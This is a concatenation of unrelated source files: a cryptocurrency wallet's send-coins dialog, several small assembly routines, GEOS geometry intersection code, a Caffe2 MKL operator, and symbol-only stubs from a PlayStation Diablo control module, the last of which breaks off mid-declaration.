WalletModel::prepareTransaction() switch (sendCoinsReturn.status) { case WalletModel::InvalidAddress: msgParams.first = tr("The recipient address is not valid, please recheck."); break; case WalletModel::InvalidAmount: msgParams.first = tr("The amount to pay must be larger than 0."); break; case WalletModel::AmountExceedsBalance: msgParams.first = tr("The amount exceeds your balance."); break; case WalletModel::AmountWithFeeExceedsBalance: msgParams.first = tr("The total exceeds your balance when the %1 transaction fee is included.").arg(msgArg); break; case WalletModel::DuplicateAddress: msgParams.first = tr("Duplicate address found, can only send to each address once per send operation."); break; case WalletModel::TransactionCreationFailed: msgParams.first = tr("Transaction creation failed!"); msgParams.second = CClientUIInterface::MSG_ERROR; break; case WalletModel::TransactionCommitFailed: msgParams.first = tr("The transaction was rejected! This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here."); msgParams.second = CClientUIInterface::MSG_ERROR; break; case WalletModel::InsaneFee: msgParams.first = tr("A fee %1 times higher than %2 per kB is considered an insanely high fee.").arg(10000).arg(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), ::minRelayTxFee.GetFeePerK())); break; // included to prevent a compiler warning. case WalletModel::OK: default: return; } // Unlock wallet if it wasn't fully unlocked already if(fAskForUnlock) { model->requestUnlock(false); return; } emit message(tr("Send Coins"), msgParams.first, msgParams.second); } void SendCoinsDialog::minimizeFeeSection(bool fMinimize) { ui->labelFeeMinimized->setVisible(fMinimize); ui->buttonChooseFee->setVisible(fMinimize); ui->buttonMinimizeFee->setVisible(!fMinimize); ui->frameFeeSelection->setVisible(!fMinimize); ui->horizontalLayoutSmartFee->setContentsMargins(0, (fMinimize ? 0 : 6), 0, 0); fFeeMinimized = fMinimize; } void SendCoinsDialog::on_buttonChooseFee_clicked() { minimizeFeeSection(false); } void SendCoinsDialog::on_buttonMinimizeFee_clicked() { updateFeeMinimizedLabel(); minimizeFeeSection(true); } void SendCoinsDialog::setMinimumFee() { ui->radioCustomPerKilobyte->setChecked(true); ui->customFee->setValue(CWallet::minTxFee.GetFeePerK()); } void SendCoinsDialog::updateFeeSectionControls() { ui->sliderSmartFee->setEnabled(ui->radioSmartFee->isChecked()); ui->labelSmartFee->setEnabled(ui->radioSmartFee->isChecked()); ui->labelSmartFee2->setEnabled(ui->radioSmartFee->isChecked()); ui->labelSmartFee3->setEnabled(ui->radioSmartFee->isChecked()); ui->labelFeeEstimation->setEnabled(ui->radioSmartFee->isChecked()); ui->labelSmartFeeNormal->setEnabled(ui->radioSmartFee->isChecked()); ui->labelSmartFeeFast->setEnabled(ui->radioSmartFee->isChecked()); ui->checkBoxMinimumFee->setEnabled(ui->radioCustomFee->isChecked()); ui->labelMinFeeWarning->setEnabled(ui->radioCustomFee->isChecked()); ui->radioCustomPerKilobyte->setEnabled(ui->radioCustomFee->isChecked() && !ui->checkBoxMinimumFee->isChecked()); ui->radioCustomAtLeast->setEnabled(ui->radioCustomFee->isChecked() && !ui->checkBoxMinimumFee->isChecked()); ui->customFee->setEnabled(ui->radioCustomFee->isChecked() && !ui->checkBoxMinimumFee->isChecked()); } void SendCoinsDialog::updateGlobalFeeVariables() { if (ui->radioSmartFee->isChecked()) { nTxConfirmTarget = (int)25 - (int)std::max(0, std::min(24, ui->sliderSmartFee->value())); payTxFee = CFeeRate(0); } else { nTxConfirmTarget = 25; payTxFee = CFeeRate(ui->customFee->value()); fPayAtLeastCustomFee = ui->radioCustomAtLeast->isChecked(); } fSendFreeTransactions = ui->checkBoxFreeTx->isChecked(); } void SendCoinsDialog::updateFeeMinimizedLabel() { if (!model || !model->getOptionsModel()) return; if (ui->radioSmartFee->isChecked()) ui->labelFeeMinimized->setText(ui->labelSmartFee->text()); else { ui->labelFeeMinimized->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), ui->customFee->value()) + ((ui->radioCustomPerKilobyte->isChecked()) ? "/kB" : "")); } } void SendCoinsDialog::updateMinFeeLabel() { if (model && model->getOptionsModel()) ui->checkBoxMinimumFee->setText(tr("Pay only the minimum fee of %1").arg(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), CWallet::minTxFee.GetFeePerK()) + "/kB")); } void SendCoinsDialog::updateSmartFeeLabel() { if (!model || !model->getOptionsModel()) return; int nBlocksToConfirm = (int)25 - (int)std::max(0, std::min(24, ui->sliderSmartFee->value())); CFeeRate feeRate = mempool.estimateFee(nBlocksToConfirm); if (feeRate <= CFeeRate(0)) // not enough data => minfee { ui->labelSmartFee->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), CWallet::minTxFee.GetFeePerK()) + "/kB"); ui->labelSmartFee2->show(); // (Smart fee not initialized yet. This usually takes a few blocks...) ui->labelFeeEstimation->setText(""); } else { ui->labelSmartFee->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), feeRate.GetFeePerK()) + "/kB"); ui->labelSmartFee2->hide(); ui->labelFeeEstimation->setText(tr("Estimated to begin confirmation within %n block(s).", "", nBlocksToConfirm)); } updateFeeMinimizedLabel(); } // UTXO splitter void SendCoinsDialog::splitBlockChecked(int state) { if (model) { CoinControlDialog::coinControl->fSplitBlock = (state == Qt::Checked); fSplitBlock = (state == Qt::Checked); ui->splitBlockLineEdit->setEnabled((state == Qt::Checked)); ui->labelBlockSizeText->setEnabled((state == Qt::Checked)); ui->labelBlockSize->setEnabled((state == Qt::Checked)); coinControlUpdateLabels(); } } //UTXO splitter void SendCoinsDialog::splitBlockLineEditChanged(const QString& text) { //grab the amount in Coin Control AFter Fee field QString qAfterFee = ui->labelCoinControlAfterFee->text().left(ui->labelCoinControlAfterFee->text().indexOf(" ")).replace("~", "").simplified().replace(" ", ""); //convert to CAmount CAmount nAfterFee; ParseMoney(qAfterFee.toStdString().c_str(), nAfterFee); //if greater than 0 then divide after fee by the amount of blocks CAmount nSize = nAfterFee; int nBlocks = text.toInt(); if (nAfterFee && nBlocks) nSize = nAfterFee / nBlocks; //assign to split block dummy, which is used to recalculate the fee amount more outputs CoinControlDialog::nSplitBlockDummy = nBlocks; //update labels ui->labelBlockSize->setText(QString::fromStdString(FormatMoney(nSize))); coinControlUpdateLabels(); } // Coin Control: copy label "Quantity" to clipboard void SendCoinsDialog::coinControlClipboardQuantity() { GUIUtil::setClipboard(ui->labelCoinControlQuantity->text()); } // Coin Control: copy label "Amount" to clipboard void SendCoinsDialog::coinControlClipboardAmount() { GUIUtil::setClipboard(ui->labelCoinControlAmount->text().left(ui->labelCoinControlAmount->text().indexOf(" "))); } // Coin Control: copy label "Fee" to clipboard void SendCoinsDialog::coinControlClipboardFee() { GUIUtil::setClipboard(ui->labelCoinControlFee->text().left(ui->labelCoinControlFee->text().indexOf(" ")).replace("~", "")); } // Coin Control: copy label "After fee" to clipboard void SendCoinsDialog::coinControlClipboardAfterFee() { GUIUtil::setClipboard(ui->labelCoinControlAfterFee->text().left(ui->labelCoinControlAfterFee->text().indexOf(" ")).replace("~", "")); } // Coin Control: copy label "Bytes" to clipboard void SendCoinsDialog::coinControlClipboardBytes() { GUIUtil::setClipboard(ui->labelCoinControlBytes->text().replace("~", "")); } // Coin Control: copy label "Priority" to clipboard void SendCoinsDialog::coinControlClipboardPriority() { GUIUtil::setClipboard(ui->labelCoinControlPriority->text()); } // Coin Control: copy label "Dust" to clipboard void SendCoinsDialog::coinControlClipboardLowOutput() { GUIUtil::setClipboard(ui->labelCoinControlLowOutput->text()); } // Coin Control: copy label "Change" to clipboard void SendCoinsDialog::coinControlClipboardChange() { GUIUtil::setClipboard(ui->labelCoinControlChange->text().left(ui->labelCoinControlChange->text().indexOf(" ")).replace("~", "")); } // Coin Control: settings menu - coin control enabled/disabled by user void SendCoinsDialog::coinControlFeatureChanged(bool checked) { ui->frameCoinControl->setVisible(checked); if (!checked && model) // coin control features disabled CoinControlDialog::coinControl->SetNull(); if (checked) coinControlUpdateLabels(); } // Coin Control: button inputs -> show actual coin control dialog void SendCoinsDialog::coinControlButtonClicked() { CoinControlDialog dlg; dlg.setModel(model); dlg.exec(); coinControlUpdateLabels(); } // Coin Control: checkbox custom change address void SendCoinsDialog::coinControlChangeChecked(int state) { if (state == Qt::Unchecked) { CoinControlDialog::coinControl->destChange = CNoDestination(); ui->labelCoinControlChangeLabel->clear(); } else // use this to re-validate an already entered address coinControlChangeEdited(ui->lineEditCoinControlChange->text()); ui->lineEditCoinControlChange->setEnabled((state == Qt::Checked)); } // Coin Control: custom change address changed void SendCoinsDialog::coinControlChangeEdited(const QString& text) { if (model && model->getAddressTableModel()) { // Default to no change address until verified CoinControlDialog::coinControl->destChange = CNoDestination(); ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:red;}"); CBitcoinAddress addr = CBitcoinAddress(text.toStdString()); if (text.isEmpty()) // Nothing entered { ui->labelCoinControlChangeLabel->setText(""); } else if (!addr.IsValid()) // Invalid address { ui->labelCoinControlChangeLabel->setText(tr("Warning: Invalid AR3NA address")); } else // Valid address { CPubKey pubkey; CKeyID keyid; addr.GetKeyID(keyid); if (!model->getPubKey(keyid, pubkey)) // Unknown change address { ui->labelCoinControlChangeLabel->setText(tr("Warning: Unknown change address")); } else // Known change address { ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:black;}"); // Query label QString associatedLabel = model->getAddressTableModel()->labelForAddress(text); if (!associatedLabel.isEmpty()) ui->labelCoinControlChangeLabel->setText(associatedLabel); else ui->labelCoinControlChangeLabel->setText(tr("(no label)")); CoinControlDialog::coinControl->destChange = addr.Get(); } } } } // Coin Control: update labels void SendCoinsDialog::coinControlUpdateLabels() { if (!model || !model->getOptionsModel() || !model->getOptionsModel()->getCoinControlFeatures()) return; // set pay amounts CoinControlDialog::payAmounts.clear(); for (int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry* entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if (entry) CoinControlDialog::payAmounts.append(entry->getValue().amount); } if (CoinControlDialog::coinControl->HasSelected()) { // actual coin control calculation CoinControlDialog::updateLabels(model, this); // show coin control stats ui->labelCoinControlAutomaticallySelected->hide(); ui->widgetCoinControl->show(); } else { // hide coin control stats ui->labelCoinControlAutomaticallySelected->show(); ui->widgetCoinControl->hide(); ui->labelCoinControlInsuffFunds->hide(); } }
; 6.1.2170 S>D ; Convert single cell value to double cell value ; D: a -- aa $CODE 'S>D',$S_TO_D POPDS EAX CDQ PUSHDS EAX PUSHDS EDX $NEXT
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Problem 2: ;; Store 10 numbers at data space 0x0100. Then retrieve the numbers using the ;; register z and outputs 10 numbers from the memory to Port B. (Points 15) .include "m328Pdef.inc" init: ;; set up aliases .def temp=r16 .def count=r17 .def limit=r18 main: ldi count, 0 ;; count = 0 ldi limit, 10 ;; limit = 10 ser r19 ;; r19 = 0xff out DDRB, r19 ;; set PORTB for output jmp loop loop: cp count, limit ;; check if the loop is done brge end ;; if we're done, go to end ldi temp, count ;; store count as a value to write sts 0x0100, temp ;; store value to data space lds temp, 0x0100 ;; read from data space out PORTB, temp ;; output to PORTB inc count ;; count += 1 jmp loop end: ret
; 8051 family ; EdSim51 ; stack pointer points to data memory (DM) where it places a 16bit program-memory (PM) address ; of the operation right after ACALL, LCALL execution. ; After the RET call the programm counter jumps to the address DM(SP-2) ORG 0000h JMP start ; jumps to 0x50 in code memory ; main loop ORG 0050h start: MOV P1, #00H ; some arbitrary operation ; Stack pointer points to 0x07 (data memory) before subroutine LCALL subroutine; SP points to 0x09 in data memory after LCALL execution, DM(0x07)=0x55, DM(0x08)=0x00 MOV P1, #0FFH ; operation located in PM(0x0056) SJMP start ORG 0BB60h; place following code in 0xBB60 subroutine: MOV P1, #12H ; Stack pointer points to 0x09 (data memory) before subsubroutine LCALL subsubroutine; SP points to 0x1B in data memory after LCALL execution, DM(0x09)=0x66, DM(0x0A)=0xBB MOV P1, #34H; operation located in PM(0xBB66) RET ; jump to the PM address indicated by the stack pointer (0x0056) ORG 0AFh subsubroutine: MOV P1, #56H MOV P1, #78H RET; jump to the PM address indicated by the stack pointer (0xBB66)
.486 .model tiny .code main: mov eax, 0h ; Zera o Registrador mov ebx, 0h ; Zera o Registrador mov edx, 0h ; Zera o Registrador mov ax, 011h ; 17 mov bx, 02h ; 2 div bx ; 17/2 ; EAX = 00000008 -> Quociente ; EBX = 00000002 -> Divisor ; EDX = 00000001 -> Resto end main
/********************************************************************** * * GEOS - Geometry Engine Open Source * http://geos.osgeo.org * * Copyright (C) 2014 Mika Heiskanen <mika.heiskanen@fmi.fi> * * This is free software; you can redistribute and/or modify it under * the terms of the GNU Lesser General Public Licence as published * by the Free Software Foundation. * See the COPYING file for more information. * **********************************************************************/ #include <geos/operation/intersection/Rectangle.h> #include <geos/operation/intersection/RectangleIntersectionBuilder.h> #include <geos/operation/valid/RepeatedPointRemover.h> #include <geos/geom/CoordinateSequenceFactory.h> #include <geos/geom/GeometryFactory.h> #include <geos/geom/GeometryCollection.h> #include <geos/geom/Polygon.h> #include <geos/geom/Point.h> #include <geos/geom/LineString.h> #include <geos/geom/LinearRing.h> #include <geos/algorithm/PointLocation.h> #include <geos/util/IllegalArgumentException.h> #include <cmath> // for fabs() namespace geos { namespace operation { // geos::operation namespace intersection { // geos::operation::intersection using namespace geos::geom; RectangleIntersectionBuilder::~RectangleIntersectionBuilder() { for(std::list<geom::Polygon*>::iterator i = polygons.begin(), e = polygons.end(); i != e; ++i) { delete *i; } for(std::list<geom::LineString*>::iterator i = lines.begin(), e = lines.end(); i != e; ++i) { delete *i; } for(std::list<geom::Point*>::iterator i = points.begin(), e = points.end(); i != e; ++i) { delete *i; } } void RectangleIntersectionBuilder::reconnect() { // Nothing to reconnect if there aren't at least two lines if(lines.size() < 2) { return; } geom::LineString* line1 = lines.front(); const geom::CoordinateSequence& cs1 = *line1->getCoordinatesRO(); geom::LineString* line2 = lines.back(); const geom::CoordinateSequence& cs2 = *line2->getCoordinatesRO(); const auto n1 = cs1.size(); const auto n2 = cs2.size(); // Safety check against bad input to prevent segfaults if(n1 == 0 || n2 == 0) { return; } if(cs1[0] != cs2[n2 - 1]) { return; } // Merge the two linestrings auto ncs = valid::RepeatedPointRemover::removeRepeatedPoints(&cs2); ncs->add(&cs1, false, true); delete line1; delete line2; LineString* nline = _gf.createLineString(ncs.release()); lines.pop_front(); lines.pop_back(); lines.push_front(nline); } void RectangleIntersectionBuilder::release(RectangleIntersectionBuilder& theParts) { for(std::list<geom::Polygon*>::iterator i = polygons.begin(), e = polygons.end(); i != e; ++i) { theParts.add(*i); } for(std::list<geom::LineString*>::iterator i = lines.begin(), e = lines.end(); i != e; ++i) { theParts.add(*i); } for(std::list<geom::Point*>::iterator i = points.begin(), e = points.end(); i != e; ++i) { theParts.add(*i); } clear(); } /** * \brief Clear the parts having transferred ownership elsewhere */ void RectangleIntersectionBuilder::clear() { polygons.clear(); lines.clear(); points.clear(); } /** * \brief Test if there are no parts at all */ bool RectangleIntersectionBuilder::empty() const { return polygons.empty() && lines.empty() && points.empty(); } /** * \brief Add intermediate Polygon */ void RectangleIntersectionBuilder::add(geom::Polygon* thePolygon) { polygons.push_back(thePolygon); } /** * \brief Add intermediate LineString */ void RectangleIntersectionBuilder::add(geom::LineString* theLine) { lines.push_back(theLine); } /** * \brief Add intermediate Point */ void RectangleIntersectionBuilder::add(geom::Point* thePoint) { points.push_back(thePoint); } std::unique_ptr<geom::Geometry> RectangleIntersectionBuilder::build() { // Total number of objects std::size_t n = polygons.size() + lines.size() + points.size(); if(n == 0) { return std::unique_ptr<Geometry>(_gf.createGeometryCollection()); } std::vector<Geometry*>* geoms = new std::vector<Geometry*>; geoms->reserve(n); for(std::list<geom::Polygon*>::iterator i = polygons.begin(), e = polygons.end(); i != e; ++i) { geoms->push_back(*i); } polygons.clear(); for(std::list<geom::LineString*>::iterator i = lines.begin(), e = lines.end(); i != e; ++i) { geoms->push_back(*i); } lines.clear(); for(std::list<geom::Point*>::iterator i = points.begin(), e = points.end(); i != e; ++i) { geoms->push_back(*i); } points.clear(); return std::unique_ptr<Geometry>( (*geoms)[0]->getFactory()->buildGeometry(geoms) ); } /** * Distance of 1st point of linestring to last point of linearring * along rectangle edges */ double distance(const Rectangle& rect, double x1, double y1, double x2, double y2) { double dist = 0; Rectangle::Position pos = rect.position(x1, y1); Rectangle::Position endpos = rect.position(x2, y2); if(pos & Rectangle::Position::Outside || endpos & Rectangle::Position::Outside || pos & Rectangle::Position::Inside || endpos & Rectangle::Position::Inside) { throw geos::util::IllegalArgumentException("Can't compute distance to non-boundary position."); } while(true) { // Close up when we have the same edge and the // points are in the correct clockwise order if((pos & endpos) != 0 && ( (x1 == rect.xmin() && y2 >= y1) || (y1 == rect.ymax() && x2 >= x1) || (x1 == rect.xmax() && y2 <= y1) || (y1 == rect.ymin() && x2 <= x1)) ) { dist += fabs(x2 - x1) + fabs(y2 - y1); break; } pos = Rectangle::nextEdge(pos); if(pos & Rectangle::Left) { dist += x1 - rect.xmin(); x1 = rect.xmin(); } else if(pos & Rectangle::Top) { dist += rect.ymax() - y1; y1 = rect.ymax(); } else if(pos & Rectangle::Right) { dist += rect.xmax() - x1; x1 = rect.xmax(); } else { dist += y1 - rect.ymin(); y1 = rect.ymin(); } } return dist; } double distance(const Rectangle& rect, const std::vector<Coordinate>& ring, const geom::LineString* line) { auto nr = ring.size(); const Coordinate& c1 = ring[nr - 1]; const CoordinateSequence* linecs = line->getCoordinatesRO(); const Coordinate& c2 = linecs->getAt(0); return distance(rect, c1.x, c1.y, c2.x, c2.y); } double distance(const Rectangle& rect, const std::vector<Coordinate>& ring) { auto nr = ring.size(); const Coordinate& c1 = ring[nr - 1]; // TODO: ring.back() ? const Coordinate& c2 = ring[0]; // TODO: ring.front() ? return distance(rect, c1.x, c1.y, c2.x, c2.y); } /** * \brief Reverse given segment in a coordinate vector */ void reverse_points(std::vector<Coordinate>& v, size_t start, size_t end) { geom::Coordinate p1; geom::Coordinate p2; while(start < end) { p1 = v[start]; p2 = v[end]; v[start] = p2; v[end] = p1; ++start; --end; } } /** * \brief Normalize a ring into lexicographic order */ void normalize_ring(std::vector<Coordinate>& ring) { if(ring.empty()) { return; } // Find the "smallest" coordinate size_t best_pos = 0; auto n = ring.size(); for(size_t pos = 0; pos < n; ++pos) { // TODO: use CoordinateLessThan ? if(ring[pos].x < ring[best_pos].x) { best_pos = pos; } else if(ring[pos].x == ring[best_pos].x && ring[pos].y < ring[best_pos].y) { best_pos = pos; } } // Quick exit if the ring is already normalized if(best_pos == 0) { return; } // Flip hands -algorithm to the part without the // duplicate last coordinate at n-1: reverse_points(ring, 0, best_pos - 1); reverse_points(ring, best_pos, n - 2); reverse_points(ring, 0, n - 2); // And make sure the ring is valid by duplicating the first coordinate // at the end: geom::Coordinate c; c = ring[0]; ring[n - 1] = c; } void RectangleIntersectionBuilder::close_boundary( const Rectangle& rect, std::vector<Coordinate>* ring, double x1, double y1, double x2, double y2) { Rectangle::Position endpos = rect.position(x2, y2); Rectangle::Position pos = rect.position(x1, y1); while(true) { // Close up when we have the same edge and the // points are in the correct clockwise order if((pos & endpos) != 0 && ( (x1 == rect.xmin() && y2 >= y1) || (y1 == rect.ymax() && x2 >= x1) || (x1 == rect.xmax() && y2 <= y1) || (y1 == rect.ymin() && x2 <= x1)) ) { if(x1 != x2 || y1 != y2) { // the polygon may have started at a corner ring->push_back(Coordinate(x2, y2)); } break; } pos = Rectangle::nextEdge(pos); if(pos & Rectangle::Left) { x1 = rect.xmin(); } else if(pos & Rectangle::Top) { y1 = rect.ymax(); } else if(pos & Rectangle::Right) { x1 = rect.xmax(); } else { y1 = rect.ymin(); } ring->push_back(Coordinate(x1, y1)); } } void RectangleIntersectionBuilder::close_ring(const Rectangle& rect, std::vector<Coordinate>* ring) { auto nr = ring->size(); Coordinate& c2 = (*ring)[0]; Coordinate& c1 = (*ring)[nr - 1]; double x2 = c2.x; double y2 = c2.y; double x1 = c1.x; double y1 = c1.y; close_boundary(rect, ring, x1, y1, x2, y2); } void RectangleIntersectionBuilder::reconnectPolygons(const Rectangle& rect) { // Build the exterior rings first typedef std::vector< geom::LinearRing*> LinearRingVect; typedef std::pair< geom::LinearRing*, LinearRingVect* > ShellAndHoles; typedef std::list< ShellAndHoles > ShellAndHolesList; ShellAndHolesList exterior; const CoordinateSequenceFactory& _csf = *_gf.getCoordinateSequenceFactory(); // If there are no lines, the rectangle must have been // inside the exterior ring. if(lines.empty()) { geom::LinearRing* ring = rect.toLinearRing(_gf); exterior.push_back(make_pair(ring, new LinearRingVect())); } else { // Reconnect all lines into one or more linearrings // using box boundaries if necessary std::vector<Coordinate>* ring = nullptr; while(!lines.empty() || ring != nullptr) { if(ring == nullptr) { ring = new std::vector<Coordinate>(); LineString* line = lines.front(); lines.pop_front(); line->getCoordinatesRO()->toVector(*ring); delete line; } // Distance to own endpoint double own_distance = distance(rect, *ring); // Find line to connect to // TODO: should we use LineMerge op ? double best_distance = -1; std::list<LineString*>::iterator best_pos = lines.begin(); for(std::list<LineString*>::iterator iter = lines.begin(); iter != lines.end(); ++iter) { double d = distance(rect, *ring, *iter); if(best_distance < 0 || d < best_distance) { best_distance = d; best_pos = iter; } } // If own end point is closest, close the ring and continue if(best_distance < 0 || own_distance < best_distance) { close_ring(rect, ring); normalize_ring(*ring); auto shell_cs = _csf.create(ring); geom::LinearRing* shell = _gf.createLinearRing(shell_cs.release()); exterior.push_back(make_pair(shell, new LinearRingVect())); ring = nullptr; } else { LineString* line = *best_pos; auto nr = ring->size(); const CoordinateSequence& cs = *line->getCoordinatesRO(); close_boundary(rect, ring, (*ring)[nr - 1].x, (*ring)[nr - 1].y, cs[0].x, cs[0].y); // above function adds the 1st point for(size_t i = 1; i < cs.size(); ++i) { ring->push_back(cs[i]); } //ring->addSubLineString(line,1); delete line; lines.erase(best_pos); } } } // Attach holes to polygons for(std::list<geom::Polygon*>::iterator i = polygons.begin(), e = polygons.end(); i != e; ++i) { geom::Polygon* poly = *i; const geom::LinearRing* hole = poly->getExteriorRing(); if(exterior.size() == 1) { exterior.front().second->push_back(new LinearRing(*hole)); } else { using geos::algorithm::PointLocation; const geom::Coordinate& c = hole->getCoordinatesRO()->getAt(0); for(ShellAndHolesList::iterator p_i = exterior.begin(), p_e = exterior.end(); p_i != p_e; ++p_i) { ShellAndHoles& p = *p_i; const CoordinateSequence* shell_cs = p.first->getCoordinatesRO(); if(PointLocation::isInRing(c, shell_cs)) { // add hole to shell p.second->push_back(new LinearRing(*hole)); break; } } } delete poly; } // Build the result polygons std::list<geom::Polygon*> new_polygons; for(ShellAndHolesList::iterator i = exterior.begin(), e = exterior.end(); i != e; ++i) { ShellAndHoles& p = *i; geom::Polygon* poly = _gf.createPolygon(p.first, p.second); new_polygons.push_back(poly); } clear(); polygons = new_polygons; } void RectangleIntersectionBuilder::reverseLines() { std::list<geom::LineString*> new_lines; for(std::list<geom::LineString*>::reverse_iterator i = lines.rbegin(), e = lines.rend(); i != e; ++i) { LineString* ol = *i; new_lines.push_back(dynamic_cast<LineString*>(ol->reverse().release())); delete ol; } lines = new_lines; } } // namespace geos::operation::intersection } // namespace geos::operation } // namespace geos
SECTION code_fp_am9511 PUBLIC cam32_sdcc___fsgt_callee EXTERN asm_sdcc_readr_callee EXTERN asm_am9511_compare_callee ; Entry: stack: float right, float left, ret .cam32_sdcc___fsgt_callee call asm_sdcc_readr_callee ;Exit dehl = right call asm_am9511_compare_callee jr Z,gt1 ccf ret C .gt1 dec hl ret
/** * Copyright (c) 2016-present, Facebook, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "caffe2/core/context.h" #include "caffe2/core/operator.h" #include "caffe2/mkl/mkl_utils.h" #ifdef CAFFE2_HAS_MKL_DNN namespace caffe2 { namespace mkl { template <typename T> class MKLFullyConnectedOp final : public MKLOperator<T> { public: MKLFullyConnectedOp(const OperatorDef& operator_def, Workspace* ws) : MKLOperator<T>(operator_def, ws), axis_(OperatorBase::GetSingleArgument<int32_t>("axis", 1)) {} ~MKLFullyConnectedOp() {} bool RunOnDevice() override { auto& X = OperatorBase::Input<MKLMemory<float>>(INPUT); auto& filter = OperatorBase::Input<MKLMemory<float>>(FILTER); auto& bias = OperatorBase::Input<MKLMemory<float>>(BIAS); MKLMemory<float>* Y = OperatorBase::Output<MKLMemory<float>>(0); CAFFE_ENFORCE(filter.ndim() == 2, filter.ndim()); CAFFE_ENFORCE(bias.ndim() == 1, bias.ndim()); bool dims_changed; CHECK_INPUT_FILTER_DIMS(X, filter, dims_changed); if (dims_changed) { const int N = filter.dim32(0); CAFFE_ENFORCE(N == bias.dim32(0)); auto Y_shape = X.dims(); Y_shape[1] = N; Y_shape.resize(2); size_t inputSizes[4]; if (X.ndim() == 2) { inputSizes[0] = X.dim32(1); inputSizes[1] = X.dim32(0); } else { CAFFE_ENFORCE(X.ndim(), 4); inputSizes[0] = X.dim32(3); inputSizes[1] = X.dim32(2); inputSizes[2] = X.dim32(1); inputSizes[3] = X.dim32(0); } size_t outputSizes[2] = {Y_shape[1], Y_shape[0]}; primitive_.Reset( dnnInnerProductCreateForwardBias<float>, nullptr, X.ndim(), inputSizes, outputSizes[0]); Y->Reset(Y_shape, primitive_, dnnResourceDst); buffer_.Reset(Y_shape, primitive_, dnnResourceDst, true); input_layout_.Reset(primitive_, dnnResourceSrc); filter_layout_.Reset(primitive_, dnnResourceFilter); } // Try to share from the output: this allows us to avoid unnecessary copy // operations, if the output is already allocated and is having the same // layout as the buffer has. buffer_.ShareFrom(*Y); std::shared_ptr<void> X_view = X.View(input_layout_, primitive_, dnnResourceSrc); std::shared_ptr<void> filter_view = filter.View(filter_layout_, primitive_, dnnResourceFilter); resources_[dnnResourceSrc] = X_view.get(); resources_[dnnResourceFilter] = filter_view.get(); resources_[dnnResourceBias] = bias.buffer(); resources_[dnnResourceDst] = buffer_.buffer(); MKLDNN_SAFE_CALL(mkl::dnnExecute<T>(primitive_, resources_)); buffer_.CopyTo(Y, primitive_, dnnResourceDst); return true; } private: // Input: X, W, b // Output: Y size_t axis_{1}; vector<TIndex> cached_input_dims_; vector<TIndex> cached_filter_dims_; PrimitiveWrapper<T> primitive_; LayoutWrapper<T> input_layout_; LayoutWrapper<T> filter_layout_; LayoutWrapper<T> bias_layout_; MKLMemory<T> buffer_; void* resources_[dnnResourceNumber] = {0}; INPUT_TAGS(INPUT, FILTER, BIAS); }; } // namespace mkl REGISTER_MKL_OPERATOR(FC, mkl::MKLFullyConnectedOp<float>); } // namespace caffe2 #endif // CAFFE2_HAS_MKL_DNN
// C:\diabpsx\PSXSRC\CTRL.CPP #include "types.h" // address: 0x800936E4 // line start: 690 // line end: 768 void DrawCtrlSetup__Fv() { // register: 16 register int i; // register: 20 register int pnum; { { // register: 17 register int lena; // register: 2 register int len; { { // register: 20 register int oldDot; // register: 19 register int OldPrintOT; // register: 18 register bool oldbuttoncol; } } } } } // address: 0x800931F4 // line start: 691 // line end: 766 void DrawCtrlSetup__Fv_addr_800931F4() { // register: 16 register int i; // register: 20 register int pnum; { { // register: 17 register int lena; // register: 2 register int len; { { // register: 19 register int oldDot; // register: 18 register int OldPrintOT; } } } } } // address: 0x80092FB4 // line start: 663 // line end: 737 void DrawCtrlSetup__Fv_addr_80092FB4() { // register: 16 register int i; // register: 20 register int pnum; { { { { // register: 17 register int lena; // register: 2 register int len; { { // register: 19 register int oldDot; // register: 18 register int OldPrintOT; } } } } } } } // address: 0x80092554 // line start: 738 // line end: 814 void DrawCtrlSetup__Fv_addr_80092554() { // register: 16 register int i; // register: 20 register int pnum; { { { { // register: 2 register int len; { // register: 17 register int lena; // register: 2 register int len; { { // register: 19 register int oldDot; // register: 18 register int OldPrintOT; } } } } } } } } // address: 0x8009D2DC // line start: 918 // line end: 1002 void DrawCtrlSetup__Fv_addr_8009D2DC() { // register: 16 register int i; // register: 2 register int pnum; { { // register: 16 register int otpos; // register: 21 register int oldDot; // register: 20 register int OldPrintOT; { { // register: 17 register int lena; // register: 2 register int len; } } } } } // address: 0x80090234 // line start: 647 // line end: 719 void DrawCtrlSetup__Fv_addr_80090234() { // register: 16 register int i; // register: 22 register int pnum; { { { { { // register: 17 register int lena; // register: 2 register int len; { { // register: 19 register int oldDot; // register: 18 register int OldPrintOT; } } } } } } } } // address: 0x8009098C // line start: 620 // line end: 710 void DrawCtrlSetup__Fv_addr_8009098C() { // register: 16 register int i; // register: 18 register int pnum; { { } } } // address: 0x800918B8 // line start: 275 // line end: 376 unsigned char Init_ctrl_pos__Fv() { } // address: 0x8008F190 // line start: 236 // line end: 333 unsigned char Init_ctrl_pos__Fv_addr_8008F190() { // register: 22 // size: 0x6C register struct CPad_dup_4 *Pad; // register: 18 register char *pstr1; // register: 20 register char *pstr2; // register: 23 register int xp; { { { { { { // register: 16 register int len; { // register: 16 register int len; } } } } } } } } // address: 0x8008F834 // line start: 173 // line end: 285 unsigned char Init_ctrl_pos__Fv_addr_8008F834() { // register: 22 // size: 0x6C register struct CPad *Pad; // register: 18 register char *pstr1; // register: 20 register char *pstr2; // register: 23 register int xp; { { { { { { // register: 16 register int len; { // register: 16 register int len; } } } } } } } } // address: 0x8009CD88 // line start: 793 // line end: 914 void 